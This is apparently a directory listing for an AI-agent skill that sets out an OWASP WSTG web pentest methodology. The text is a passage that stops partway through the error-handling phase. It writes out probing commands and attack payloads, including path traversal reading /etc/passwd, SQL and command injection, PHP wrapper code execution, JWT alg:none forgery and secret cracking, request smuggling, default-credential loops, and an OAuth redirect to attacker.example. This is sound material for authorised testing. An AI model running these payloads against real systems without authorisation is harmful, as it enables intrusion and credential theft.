SuperAPI AI Directory

wstg-web-pentest

Testing & quality

View repository

Updated 10-16 04:34

About this skill

WSTG Web Application Pentest

Full OWASP WSTG-aligned testing methodology. Each phase maps to a WSTG category and provides concrete commands, expected outputs, pitfalls, and verification criteria.

The 12 phases:

1.  Information Gathering           WSTG-INFO
2.  Configuration & Deployment       WSTG-CONF
3.  Identity Management              WSTG-IDNT
4.  Authentication                   WSTG-ATHN
5.  Authorization                    WSTG-ATHZ
6.  Session Management               WSTG-SESS
7.  Input Validation                 WSTG-INPV
8.  Error Handling                   WSTG-ERRH
9.  Weak Cryptography                WSTG-CRYP
10. Business Logic                   WSTG-BUSL
11. Client-side                      WSTG-CLNT
12. API Testing                      WSTG-APIT

Classify every observation:

State Meaning
Signal Observation justifies follow-up
Exposed Service or behavior reachable in tested context
Vulnerable Security property failed under controlled test
Exploitable Controlled test demonstrated concrete impact

When to Use

  • Starting a web application pentest with a defined scope
  • Auditing a web application against the OWASP testing standard
  • Building a test plan from observed technology and behavior
  • When the engagement requires methodology documentation
  • Converting automated scanner output into validated findings

Prerequisites

  • In-scope domains, IPs, APIs, and test accounts
  • Exclusions, rate limits, test windows, and abort conditions
  • Permitted actions: passive, active read-only, intrusive, destructive
  • Tools installed: curl, subfinder, dnsx, httpx, katana, nuclei, nmap, ffuf, jq, python3, openssl, tlsx, wappalyzer or whatweb
  • Browser with intercepting proxy configured for authenticated testing
  • Test accounts for two distinct identities (for authorization testing)

How to Run

TARGET="example.com"
OUTPUT_DIR="${OUTPUT_DIR:-./output}/${TARGET}"
mkdir -p "$OUTPUT_DIR"/{assets,http,urls,evidence,reports}

# Run phases sequentially, stopping at scope boundaries:
# 1. INFO  -> 2. CONF -> 3. IDNT -> 4. ATHN -> 5. ATHZ ->
# 6. SESS -> 7. INPV -> 8. ERRH -> 9. CRYP -> 10. BUSL ->
# 11. CLNT -> 12. APIT -> Report

Procedure

Phase 1: Information Gathering (WSTG-INFO-01 through INFO-10)

Map the attack surface before testing.

1.1 Search Engine Discovery (WSTG-INFO-01)

# Google dorks (manual in browser)
site:${TARGET}
site:${TARGET} filetype:pdf
site:${TARGET} inurl:admin
site:${TARGET} intitle:"index of"

# GitHub code search
gh search code "example.com" --limit 100 2>/dev/null

Pitfalls: Search results include third-party references. Verify ownership before treating a result as in-scope.

1.2 Fingerprint Web Server (WSTG-INFO-02)

curl -sS -D - --max-time 10 "https://${TARGET}/" -o /dev/null 2>&1 \
  | grep -iE 'server|x-powered-by|x-aspnet-version|x-generator'

whatweb --max-redirects 2 --no-errors "https://${TARGET}" 2>/dev/null

Expected output: Server header, technology stack hints.

Pitfalls: Headers can be suppressed or spoofed by reverse proxies. Cross-reference with response behavior and error pages.

Verification: At least two independent signals agree on the technology.

1.3 Review Metafiles (WSTG-INFO-03)

for path in robots.txt sitemap.xml security.txt .well-known/security.txt; do
  code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
    "https://${TARGET}/${path}" 2>/dev/null)
  printf '%-30s %s\n' "$path" "$code"
done

Pitfalls: Disallowed paths in robots.txt are hints, not hidden secrets. sitemap.xml sometimes lists admin or staging endpoints.

1.4 Attack Surface Discovery (WSTG-INFO-04)

subfinder -d "$TARGET" -silent | tee "$OUTPUT_DIR/assets/hostnames.txt"

curl -sS --max-time 30 \
  "https://crt.sh/?q=%.${TARGET}&output=json" 2>/dev/null \
  | jq -r '.[].name_value' 2>/dev/null \
  | sed 's/^\*\.//' | sort -u \
  >> "$OUTPUT_DIR/assets/hostnames.txt"

sort -u "$OUTPUT_DIR/assets/hostnames.txt" -o "$OUTPUT_DIR/assets/hostnames.txt"

Pitfalls: Wildcard entries are patterns, not hosts. Third-party names appear in SANs. Classify scope and ownership before probing.

1.5 Resolve and Probe (WSTG-INFO-04 continued)

dnsx -l "$OUTPUT_DIR/assets/hostnames.txt" -silent -a -json \
  -o "$OUTPUT_DIR/assets/dns.jsonl"

httpx -l "$OUTPUT_DIR/assets/hostnames.txt" \
  -silent -rate-limit 2 \
  -status-code -title -tech-detect -server -ip -cname -json \
  -o "$OUTPUT_DIR/http/services.jsonl"

# Live URLs only
jq -r '.url // empty' "$OUTPUT_DIR/http/services.jsonl" | sort -u \
  > "$OUTPUT_DIR/http/live-urls.txt"

1.6 Review Page Content (WSTG-INFO-05)

while IFS= read -r url; do
  curl -sS --max-time 10 "$url" 2>/dev/null \
    | grep -oPi '(email|password|secret|key|token|api[_-]?key|authorization|bearer)[^a-z0-9]*[=:]\s*["\x27]?[^\s"'\''<>&]+' \
    | head -5
  sleep 1
done < "$OUTPUT_DIR/http/live-urls.txt"

Pitfalls: Comments, inline scripts, and HTML data attributes frequently contain false leads. Confirm in context before reporting.

1.7 Identify Entry Points (WSTG-INFO-06)

katana -list "$OUTPUT_DIR/http/live-urls.txt" \
  -silent -jc -c 2 -p 2 -rl 2 \
  -o "$OUTPUT_DIR/urls/katana.txt"

# Historical URLs
echo "$TARGET" | waybackurls 2>/dev/null > "$OUTPUT_DIR/urls/wayback.txt"
gau "$TARGET" --subs 2>/dev/null > "$OUTPUT_DIR/urls/gau.txt"

# Merge and classify
cat "$OUTPUT_DIR/urls/katana.txt" \
    "$OUTPUT_DIR/urls/wayback.txt" \
    "$OUTPUT_DIR/urls/gau.txt" \
  | sort -u > "$OUTPUT_DIR/urls/all.txt"

grep -iE '/api/|/graphql|/rest/|swagger|openapi|/v[0-9]+/' \
  "$OUTPUT_DIR/urls/all.txt" > "$OUTPUT_DIR/urls/api-candidates.txt"

grep -iE 'login|logout|register|reset|oauth|saml|callback|session|token|mfa|2fa' \
  "$OUTPUT_DIR/urls/all.txt" > "$OUTPUT_DIR/urls/auth-candidates.txt"

grep -iE '\.js(\?.*)?$' \
  "$OUTPUT_DIR/urls/all.txt" > "$OUTPUT_DIR/urls/javascript.txt"

grep -E '[?&][a-zA-Z0-9_.-]+=' \
  "$OUTPUT_DIR/urls/all.txt" > "$OUTPUT_DIR/urls/parameterized.txt"

1.8 Fingerprint Framework (WSTG-INFO-08)

httpx -l "$OUTPUT_DIR/http/live-urls.txt" \
  -silent -tech-detect -json \
  | jq -r '[.url, (.tech // [] | join(","))] | @tsv' \
  > "$OUTPUT_DIR/http/frameworks.tsv"

Verification: Confirm framework fingerprint with at least two signals: a header, a cookie name (e.g. laravel_session, JSESSIONID), a path pattern (/wp-content/, /_next/), or a unique error page.

1.9 Map Application Architecture (WSTG-INFO-10)

# TLS inspection
tlsx -l "$OUTPUT_DIR/http/live-urls.txt" -silent -san -nc -json \
  -o "$OUTPUT_DIR/assets/tls.jsonl"

# Port scan (when in-scope IPs are provided)
nmap -sT --top-ports 100 --open -T3 \
  -oA "$OUTPUT_DIR/assets/nmap-top100" \
  -iL in-scope-ips.txt 2>/dev/null

Pitfalls: Port scanning is active and detectable. Run only on in-scope IPs and with conservative timing.


Phase 2: Configuration and Deployment (WSTG-CONF-01 through CONF-14)

Test infrastructure and platform configuration.

2.1 Network Infrastructure (WSTG-CONF-01)

# Check for common admin panels
for path in admin administrator admin.php admin.aspx console manager \
  phpmyadmin pma phppgadmin webmin cpanel:2082 whm:2086; do
  code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
    "https://${TARGET}/${path}" 2>/dev/null)
  [ "$code" != "404" ] && printf '%-25s %s\n' "$path" "$code"
  sleep 1
done

2.2 Application Platform Configuration (WSTG-CONF-02)

# Common config files
for path in .env .env.local .env.production .env.development \
  config.json config.yml config.yaml settings.py wp-config.php \
  web.config .htaccess Dockerfile docker-compose.yml; do
  code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
    "https://${TARGET}/${path}" 2>/dev/null)
  [ "$code" = "200" ] && echo "[!] EXPOSED: $path (HTTP $code)"
  sleep 1
done

Pitfalls: A 200 response with a generic shell or redirect is not a config leak. Always inspect the body.

Verification: Body contains configuration keys, database credentials, API keys, or environment variables.

2.3 File Extensions (WSTG-CONF-03)

# Check how the server handles backup and alternate extensions
for ext in bak old backup orig save swp tmp ~; do
  code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
    "https://${TARGET}/index.html.${ext}" 2>/dev/null)
  [ "$code" != "404" ] && echo "[*] index.html.${ext}: $code"
  sleep 1
done

2.4 Backup and Unreferenced Files (WSTG-CONF-04)

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt \
  -u "https://${TARGET}/FUZZ" \
  -e .bak,.old,.backup,.zip,.tar.gz,.sql,.tgz \
  -mc 200,301,302,403 \
  -rate 5 -t 5 \
  -o "$OUTPUT_DIR/evidence/ffuf-backup.json" 2>/dev/null

Pitfalls: Archive files from public sources (GitHub releases, CDN) are not leaks. Confirm the file contains source or configuration before reporting.

2.5 Admin Interfaces (WSTG-CONF-05)

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common-admin.txt \
  -u "https://${TARGET}/FUZZ" \
  -mc 200,301,302,403 -rate 5 -t 5 \
  -o "$OUTPUT_DIR/evidence/ffuf-admin.json" 2>/dev/null

2.6 HTTP Methods (WSTG-CONF-06)

for method in GET POST PUT DELETE PATCH OPTIONS HEAD TRACE CONNECT; do
  code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
    -X "$method" "https://${TARGET}/" 2>/dev/null)
  printf '%-8s %s\n' "$method" "$code"
  sleep 1
done

# OPTIONS response often lists allowed methods
curl -sS -D - --max-time 10 -X OPTIONS "https://${TARGET}/" 2>/dev/null \
  | grep -i 'allow:'

Pitfalls: TRACE is informational unless combined with cookie-bearing requests. PUT without authentication is high.

2.7 HSTS (WSTG-CONF-07)

curl -sS -D - --max-time 10 "https://${TARGET}/" -o /dev/null 2>&1 \
  | grep -i 'strict-transport-security'

Verification: Header present with max-age >= 31536000 and includeSubDomains.

2.10 Subdomain Takeover (WSTG-CONF-10)

# Check CNAMEs pointing to unclaimed services
dnsx -l "$OUTPUT_DIR/assets/hostnames.txt" -silent -cname -json \
  | jq -r 'select(.cname != null) | "\(.host) -> \(.cname | join(","))"' \
  > "$OUTPUT_DIR/assets/cnames.txt"

subzy run --targets "$OUTPUT_DIR/assets/hostnames.txt" 2>/dev/null

Verification: Confirmed dangling CNAME record on a service that allows re-registration of the target hostname.

2.11 Cloud Storage (WSTG-CONF-11)

# S3 buckets named after the target
for bucket in "${TARGET}" "static.${TARGET}" "media.${TARGET}" \
  "cdn.${TARGET}" "assets.${TARGET}"; do
  code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
    "https://${bucket}.s3.amazonaws.com" 2>/dev/null)
  [ "$code" != "404" ] && echo "[*] S3 bucket $bucket: $code"
done

2.12 Content Security Policy (WSTG-CONF-12)

curl -sS -D - --max-time 10 "https://${TARGET}/" -o /dev/null 2>&1 \
  | grep -i 'content-security-policy'

Verification: CSP present, does not contain unsafe-inline or unsafe-eval without a nonce or hash, restricts script-src and object-src.

2.13 Path Confusion (WSTG-CONF-13)

# Check how path traversal and encoding are handled
for path in "%2e%2e/%2e%2e/etc/passwd" \
  "..;/..;/etc/passwd" \
  "/%2e%2e/%2e%2e/%2e%2e/etc/passwd"; do
  code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
    "https://${TARGET}/${path}" 2>/dev/null)
  echo "$path: $code"
  sleep 1
done

2.14 Security Headers (WSTG-CONF-14)

curl -sS -D - --max-time 10 "https://${TARGET}/" -o /dev/null 2>&1 \
  | grep -iE 'x-frame-options|x-content-type-options|referrer-policy|permissions-policy|x-xss-protection'

Verification: X-Frame-Options DENY or SAMEORIGIN; X-Content-Type-Options nosniff; Referrer-Policy restricts referrer; Permissions-Policy restricts sensitive APIs.


Phase 3: Identity Management (WSTG-IDNT-01 through IDNT-05)

Test user registration, provisioning, and enumeration.

3.1 Role Definitions (WSTG-IDNT-01)

Document every role from captured traffic, API responses, and observed UI. For each role, record accessible routes and operations.

3.2 User Registration (WSTG-IDNT-02)

# Test registration with invalid inputs
curl -sS --max-time 10 -X POST "https://${TARGET}/register" \
  -H 'Content-Type: application/json' \
  -d '{"username":"<script>alert(1)</script>","password":"a","email":"../../etc/passwd"}' \
  2>/dev/null | head -20

Tests by identity:

Test What to observe
Duplicate registration Error message reveals existing user?
Weak password Accepted without complexity requirements?
Automated registration CAPTCHA or rate limit present?
Email verification bypass Can you use the account before verification?

3.4 Account Enumeration (WSTG-IDNT-04)

# Login timing analysis
time curl -sS --max-time 10 -X POST "https://${TARGET}/login" \
  -H 'Content-Type: application/json' \
  -d '{"username":"admin","password":"wrong"}' > /dev/null 2>&1

time curl -sS --max-time 10 -X POST "https://${TARGET}/login" \
  -H 'Content-Type: application/json' \
  -d '{"username":"nonexistent12345","password":"wrong"}' > /dev/null 2>&1

# Password reset enumeration
curl -sS --max-time 10 -X POST "https://${TARGET}/reset" \
  -H 'Content-Type: application/json' \
  -d '{"email":"admin@'"${TARGET}"'"}' 2>/dev/null

curl -sS --max-time 10 -X POST "https://${TARGET}/reset" \
  -H 'Content-Type: application/json' \
  -d '{"email":"nonexistent@'"${TARGET}"'"}' 2>/dev/null

Pitfalls: Timing differences under 200ms are rarely reliable. Status code and response body differences are stronger signals.

Verification: Consistent, reproducible difference between existing and non-existing accounts across multiple test runs.

Pitfalls: Do not enumerate production accounts. Use synthetic test accounts to confirm the mechanism exists, then stop.


Phase 4: Authentication (WSTG-ATHN-01 through ATHN-11)

Test the full authentication flow.

4.1 Credentials over Encrypted Channel (WSTG-ATHN-01)

# Check login form action
curl -sS --max-time 10 "https://${TARGET}/login" 2>/dev/null \
  | grep -oPi 'action=["\x27][^"\x27]*["\x27]'

# Check that login POST uses HTTPS
curl -sS --max-time 10 -X POST "http://${TARGET}/login" \
  -o /dev/null -w '%{redirect_url}\n' 2>/dev/null

Verification: Login form submits over HTTPS. HTTP version redirects to HTTPS before accepting credentials.

4.2 Default Credentials (WSTG-ATHN-02)

# Test common defaults (only on test accounts or after confirming scope allows)
for creds in "admin:admin" "admin:password" "admin:${TARGET}" \
  "administrator:administrator" "root:root" "user:user" \
  "test:test" "guest:guest"; do
  IFS=':' read -r user pass <<< "$creds"
  code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
    -u "$user:$pass" "https://${TARGET}/" 2>/dev/null)
  [ "$code" = "200" ] && echo "[!] Default creds work: $user:$pass -> $code"
  sleep 2
done

Pitfalls: This generates authentication failures. Rate limits may apply. Do not lock out accounts.

4.3 Weak Lockout (WSTG-ATHN-03)

Do not test against production accounts. Use a dedicated test account.

for i in $(seq 1 10); do
  code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
    -X POST "https://${TARGET}/login" \
    -d "username=test-lockout&password=wrong$i" 2>/dev/null)
  echo "Attempt $i: $code"
  sleep 1
done
# Try the correct password afterward
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
  -X POST "https://${TARGET}/login" \
  -d "username=test-lockout&password=correctpassword" 2>/dev/null)
echo "After lockout: $code"

Verification: Account locks after N consecutive failures (typically 3-10). Lockout applies even with the correct password.

4.4 Bypass Authentication Schema (WSTG-ATHN-04)

# Direct page access — request protected pages without a session
for url in /admin /dashboard /api/admin /internal /manage /settings /profile; do
  code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
    "https://${TARGET}${url}" 2>/dev/null)
  echo "$url: $code"
  sleep 1
done

# Parameter modification — test if role/privilege parameters bypass auth
curl -sS --max-time 10 "https://${TARGET}/admin?admin=true" -o /dev/null -w '%{http_code}\n' 2>/dev/null
curl -sS --max-time 10 "https://${TARGET}/admin?debug=true" -o /dev/null -w '%{http_code}\n' 2>/dev/null

4.7 Weak Authentication Methods (WSTG-ATHN-07)

Document the authentication flow:

  • Basic auth over HTTPS? (acceptable if no better option)
  • Form-based with CSRF token? (minimum)
  • MFA? (required for sensitive operations)
  • Password policy? (minimum length, complexity)
  • Account recovery flow? (email-based, security questions)

4.9 Password Reset (WSTG-ATHN-09)

# Check if token appears in URL / Referer / response
curl -sS -D - --max-time 10 -X POST "https://${TARGET}/reset" \
  -H 'Content-Type: application/json' \
  -d '{"email":"test-user@'"${TARGET}"'"}' 2>/dev/null

# Test token predictability (only on test accounts)
TOKEN1=$(echo "reset-token-$(date +%s)" | md5sum | cut -d' ' -f1)
TOKEN2=$(echo "reset-token-$(( $(date +%s) - 60 ))" | md5sum | cut -d' ' -f1)
# Request reset with each token variant

Verification: Token is high-entropy, single-use, time-limited, and delivered over a separate channel.

4.11 Multi-Factor Authentication (WSTG-ATHN-11)

# Check if MFA can be skipped by requesting post-MFA URLs directly
curl -sS --max-time 10 "https://${TARGET}/dashboard" \
  -H 'Cookie: session=<post-login-cookie>' -o /dev/null -w '%{http_code}\n'

# Check OTP rate limiting (use test account)
for i in $(seq 1 5); do
  curl -sS --max-time 10 -X POST "https://${TARGET}/mfa/verify" \
    -H 'Content-Type: application/json' \
    -d '{"code":"000000"}' -o /dev/null -w '%{http_code} '
  sleep 1
done; echo

Phase 5: Authorization (WSTG-ATHZ-01 through ATHZ-05)

Requires at least two test identities.

5.1 Directory Traversal / File Include (WSTG-ATHZ-01)

# LFI candidates
for payload in \
  "../../../etc/passwd" \
  "....//....//....//etc/passwd" \
  "..%252f..%252f..%252fetc/passwd" \
  "/etc/passwd" \
  "file:///etc/passwd" \
  "php://filter/convert.base64-encode/resource=index" \
  "....//....//....//....//windows/win.ini"; do
  code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
    "https://${TARGET}/?page=${payload}" 2>/dev/null)
  echo "$payload: $code"
  sleep 1
done

Verification: Response contains /etc/passwd content, source code, or OS-specific file content confirmed by content signature (not just 200).

5.2 Bypass Authorization Schema (WSTG-ATHZ-02)

With two test identities (User A and User B):

# User A accesses User B's resources
curl -sS --max-time 10 "https://${TARGET}/api/user/profile" \
  -H 'Authorization: Bearer USER_A_TOKEN' -o /dev/null -w '%{http_code}\n'

curl -sS --max-time 10 "https://${TARGET}/api/user/profile?user_id=USER_B_ID" \
  -H 'Authorization: Bearer USER_A_TOKEN' -o /dev/null -w '%{http_code}\n'

5.3 Privilege Escalation (WSTG-ATHZ-03)

# Test if lower-privilege user can access admin endpoints
for path in /admin /admin/users /api/admin /manage /settings/admin; do
  code=$(curl -sS --max-time 10 "https://${TARGET}${path}" \
    -H 'Authorization: Bearer USER_A_TOKEN' -o /dev/null -w '%{http_code}\n' 2>/dev/null)
  echo "$path: $code"
  sleep 1
done

# Test role parameter manipulation
curl -sS --max-time 10 -X PATCH "https://${TARGET}/api/user/profile" \
  -H 'Authorization: Bearer USER_A_TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"role":"admin"}' 2>/dev/null

5.4 Insecure Direct Object References (WSTG-ATHZ-04)

# After observing an object ID pattern, test sequential access
BASE_ID=100
for i in $(seq 0 5); do
  ID=$((BASE_ID + i))
  code=$(curl -sS --max-time 10 \
    "https://${TARGET}/api/objects/${ID}" \
    -H 'Authorization: Bearer USER_A_TOKEN' \
    -sS -o /dev/null -w '%{http_code}' 2>/dev/null)
  body_len=$(curl -sS --max-time 10 \
    "https://${TARGET}/api/objects/${ID}" \
    -H 'Authorization: Bearer USER_A_TOKEN' 2>/dev/null | wc -c)
  echo "ID $ID: $code ($body_len bytes)"
  sleep 1
done

Verification: User A receives data from an object belonging to User B, confirmed by comparing content, owner fields, or tenant identifiers. Need both identities for proof.

5.5 OAuth Weaknesses (WSTG-ATHZ-05)

# Check OAuth redirect_uri validation
curl -sS --max-time 10 \
  "https://${TARGET}/oauth/authorize?client_id=CLIENT_ID&redirect_uri=https://attacker.example/callback&response_type=code" \
  -o /dev/null -w '%{http_code} %{redirect_url}\n'

# Test state parameter
curl -sS --max-time 10 \
  "https://${TARGET}/oauth/authorize?client_id=CLIENT_ID&redirect_uri=CALLBACK&response_type=code" \
  -o /dev/null -w '%{redirect_url}\n'

Phase 6: Session Management (WSTG-SESS-01 through SESS-11)

6.1 Session Schema (WSTG-SESS-01)

# Capture session cookies after login
curl -sS -D - --max-time 10 -X POST "https://${TARGET}/login" \
  -H 'Content-Type: application/json' \
  -d '{"username":"TEST_USER","password":"TEST_PASS"}' \
  -o /dev/null 2>&1 | grep -i 'set-cookie'

Tests:

Test What to check
Token entropy Length >= 128 bits; use ent or manual inspection
Token regeneration New value after login?
Token on logout Invalidated server-side after logout?
Token on password change Invalidated after password change?
Concurrent sessions Multiple simultaneous sessions allowed?

6.2 Cookie Attributes (WSTG-SESS-02)

# Check all Set-Cookie attributes on every response
curl -sS -D - --max-time 10 "https://${TARGET}/" -o /dev/null 2>&1 \
  | grep -i 'set-cookie' \
  | while read -r line; do
    echo "$line" | grep -qi 'secure' || echo "  [!] Missing Secure"
    echo "$line" | grep -qi 'httponly' || echo "  [!] Missing HttpOnly"
    echo "$line" | grep -qi 'samesite' || echo "  [!] Missing SameSite"
    echo "---"
  done

Verification: Session cookies have Secure, HttpOnly, and SameSite=Lax or Strict. __Host- prefix used when scope is path-bound.

6.3 Session Fixation (WSTG-SESS-03)

# Get a pre-authentication session cookie
SESSION=$(curl -sS -D - --max-time 10 "https://${TARGET}/login" \
  -o /dev/null 2>&1 | grep -i 'set-cookie' | sed 's/.*: //;s/;.*//')

# Use that cookie to authenticate
curl -sS -D - --max-time 10 -X POST "https://${TARGET}/login" \
  -H "Cookie: $SESSION" \
  -d 'username=TEST_USER&password=TEST_PASS' \
  -o /dev/null 2>&1 | grep -i 'set-cookie'

# Check if the post-login cookie differs from the pre-login one

Verification: The server issues a new session identifier after authentication, not reusing the pre-authentication value.

6.5 Cross-Site Request Forgery (WSTG-SESS-05)

# Check for CSRF tokens on state-changing forms
curl -sS --max-time 10 "https://${TARGET}/settings" 2>/dev/null \
  | grep -iP 'csrf|_token|nonce|xsrf'

# Test if same-origin bypass works (no token, different method, custom header)
curl -sS --max-time 10 -X POST "https://${TARGET}/api/settings" \
  -H 'Content-Type: application/json' \
  -H 'Cookie: session=VALID_SESSION' \
  -d '{"email":"test@example.com"}' \
  -o /dev/null -w '%{http_code}\n' 2>/dev/null

Pitfalls: SameSite=Lax cookies do not protect against GET-based CSRF. Custom headers (X-Requested-With) only block simple cross-origin requests.

6.6 Logout (WSTG-SESS-06)

# Capture session, logout, try reusing session
SESSION=$(curl -sS -D - --max-time 10 -X POST "https://${TARGET}/login" \
  -d 'username=TEST_USER&password=TEST_PASS' -o /dev/null 2>&1 \
  | grep -i 'set-cookie' | sed 's/.*: //;s/;.*//')

curl -sS --max-time 10 -X POST "https://${TARGET}/logout" \
  -H "Cookie: $SESSION" -o /dev/null -w '%{http_code}\n'

sleep 2

curl -sS --max-time 10 "https://${TARGET}/settings" \
  -H "Cookie: $SESSION" -o /dev/null -w '%{http_code}\n'

Verification: Session is invalidated after logout (returns 302 or 401, not 200 with authenticated content).

6.7 Session Timeout (WSTG-SESS-07)

Document the idle timeout and absolute timeout. Check if "remember me" extends the absolute timeout.

6.10 JWT Testing (WSTG-SESS-10)

# Decode a JWT without verification
jwt_token="<captured_jwt>"
echo "$jwt_token" | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool

# Test alg:none
header=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0)
payload=$(echo "$jwt_token" | cut -d. -f2)
echo "${header}.${payload}." | sed 's/=//g'

# Test weak HMAC secret
hashcat -m 16500 "$jwt_token" /usr/share/wordlists/rockyou.txt --quiet 2>/dev/null

Pitfalls: JWT decoding is not a finding. The finding is: the server accepts alg:none, accepts a symmetric key when RS256/ES256 is expected, or uses a guessable secret.


Phase 7: Input Validation (WSTG-INPV-01 through INPV-22)

7.1 Reflected XSS (WSTG-INPV-01)

# Test every parameter with a benign probe first
for param in q search query id page name email message comment; do
  code=$(curl -sS --max-time 10 \
    "https://${TARGET}/search?${param}=<xss%20id=xss>" \
    -o /dev/null -w '%{http_code}' 2>/dev/null)
  echo "$param: $code"
  sleep 1
done

# Check reflection in response body
curl -sS --max-time 10 "https://${TARGET}/search?q=xssreflectiontest" 2>/dev/null \
  | grep -o 'xssreflectiontest'

Pitfalls: WAF may block obvious probes. Start with unique benign strings and check reflection before moving to payloads. An encoded reflection in an attribute context requires a different payload than a raw HTML context.

7.2 Stored XSS (WSTG-INPV-02)

Test every input that persists: comments, profiles, messages, support tickets. Verify in a second session (different browser/incognito) that the stored payload renders for another user.

7.3 HTTP Verb Tampering (WSTG-INPV-03)

# Try bypassing restrictions by changing the HTTP method
for method in GET POST PUT PATCH DELETE HEAD OPTIONS; do
  code=$(curl -sS --max-time 10 -X "$method" \
    "https://${TARGET}/api/admin/users" \
    -H 'Authorization: Bearer USER_A_TOKEN' \
    -o /dev/null -w '%{http_code}\n' 2>/dev/null)
  echo "$method: $code"
  sleep 1
done

7.5 SQL Injection (WSTG-INPV-05)

# Detect with benign probes first
for payload in "'" "\"" "')" '"))' "1' OR '1'='1" "1 OR 1=1"; do
  code=$(curl -sS --max-time 10 \
    "https://${TARGET}/product?id=${payload}" \
    -o /dev/null -w '%{http_code}' 2>/dev/null)
  echo "$payload: $code"
  sleep 1
done

# Time-based blind test
for db in "pg_sleep(5)" "sleep(5)" "WAITFOR DELAY '0:0:5'"; do
  time curl -sS --max-time 15 \
    "https://${TARGET}/product?id=1%3B${db}%3B--" \
    -o /dev/null 2>/dev/null
  sleep 1
done

Pitfalls: Time-based tests are noisy. A 5-second delay in a fast response is a strong signal; a 200ms variance is not. Error-based tests require understanding the DBMS error format.

Verification: Confirmed data extraction (database names, table names, row counts) through error-based, union-based, or blind channels. A single error message is a lead, not a finding.

7.11 Code Injection / File Inclusion (WSTG-INPV-11)

# Test for PHP wrappers
for wrapper in \
  "php://filter/convert.base64-encode/resource=index.php" \
  "php://filter/convert.base64-encode/resource=../../etc/passwd" \
  "expect://id" \
  "data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg=="; do
  code=$(curl -sS --max-time 10 \
    "https://${TARGET}/?page=${wrapper}" \
    -o /dev/null -w '%{http_code}' 2>/dev/null)
  echo "$wrapper: $code"
  sleep 1
done

7.12 Command Injection (WSTG-INPV-12)

# Test with time-based commands
for cmd in "sleep+5" "||+sleep+5" ";+sleep+5" "\x60sleep+5\x60" \
  "\$(sleep+5)" "|+sleep+5"; do
  time curl -sS --max-time 15 \
    "https://${TARGET}/ping?host=127.0.0.1${cmd}" \
    -o /dev/null 2>/dev/null
  sleep 1
done

Pitfalls: Do not test destructive commands (rm, shutdown, wget). Use time-based or OOB (Collaborator) detection for blind cases.

7.16 HTTP Request Smuggling (WSTG-INPV-16)

# CL.TE probe
printf 'POST / HTTP/1.1\r\nHost: %s\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nG' "$TARGET" \
  | nc -w 5 "$TARGET" 80

# H2.CL probe — requires HTTP/2 capable client
curl --http2 -sS --max-time 10 "https://${TARGET}/" -o /dev/null -w '%{http_version}\n'

7.17 Host Header Injection (WSTG-INPV-17)

curl -sS --max-time 10 "https://${TARGET}/" \
  -H "Host: evil.example.com" -o /dev/null -w '%{http_code}\n'

curl -sS --max-time 10 "https://${TARGET}/" \
  -H "X-Forwarded-Host: evil.example.com" -o /dev/null -w '%{http_code}\n'

Verification: Host header is reflected in password reset links, absolute URLs in response bodies, or redirects. Reflection in a header alone is not exploitable.

7.18 SSTI (WSTG-INPV-18)

# Template engine detection probes — run these against every reflected parameter
for probe in '{{7*7}}' '${7*7}' '<%=7*7%>' '#{7*7}' '{{7*\'7\'}}' \
  '${{7*7}}' '@(7*7)'; do
  resp=$(curl -sS --max-time 10 \
    "https://${TARGET}/?q=$(python3 -c "import urllib.parse; print(urllib.parse.quote('''$probe'''))")" \
    2>/dev/null)
  echo "$resp" | grep -q '49' && echo "[!] SSTI confirmed: $probe returned 49 in $resp"
  sleep 1
done

7.19 SSRF (WSTG-INPV-19)

# Use an OOB Collaborator / Burp Collaborator / interactsh
CALLBACK="your-id.oastify.com"

# Test URL parameters that fetch external resources
for param in url uri path redirect callback webhook src proxy file image \
  avatar import fetch download; do
  curl -sS --max-time 10 \
    "https://${TARGET}/fetch?${param}=http://${CALLBACK}" \
    -o /dev/null -w '%{http_code}\n' 2>/dev/null
  sleep 1
done

# Test request body JSON
curl -sS --max-time 10 -X POST "https://${TARGET}/api/import" \
  -H 'Content-Type: application/json' \
  -d "{\"url\":\"http://${CALLBACK}\"}" \
  -o /dev/null -w '%{http_code}\n' 2>/dev/null

Pitfalls: A DNS callback from a CDN or webhook validation service does not prove the target made the request. Check the User-Agent, source IP, and timing.

Verification: Confirmed callback with identifying information (source IP, User-Agent, or path unique to the target). For cloud metadata access, confirmed retrieval of credentials or instance data.

7.20 Mass Assignment (WSTG-INPV-20)

# Try setting privileged fields
curl -sS --max-time 10 -X POST "https://${TARGET}/api/register" \
  -H 'Content-Type: application/json' \
  -d '{"username":"test","password":"test","role":"admin","isAdmin":true,"verified":true}' \
  2>/dev/null | python3 -m json.tool 2>/dev/null

Verification: The response confirms the escalated role, or a subsequent authenticated request demonstrates the escalated privilege.

7.22 Prototype Pollution (WSTG-INPV-22)

# Client-side (browser console)
Object.prototype.polluted = true
# Check if new objects have the property

# Server-side via JSON
curl -sS --max-time 10 -X POST "https://${TARGET}/api/update" \
  -H 'Content-Type: application/json' \
  -d '{"__proto__":{"isAdmin":true},"constructor":{"prototype":{"isAdmin":true}}}' \
  2>/dev/null

Phase 8: Error Handling (WSTG-ERRH-01 through ERRH-02)

8.1 Improper Error Handling (WSTG-ERRH-01)

# Trigger errors with malformed input
for trigger in \
  "/nonexistent" \
  "?id=abc" \
  "?id[]=1" \
  "?id=999999999999" \
  "?id=-1" \
  "?id=0" \
  "'" \
  "%00"; do
  code=$(curl -sS --max-time 10 \
    "https://${TARGET}${trigger}" \
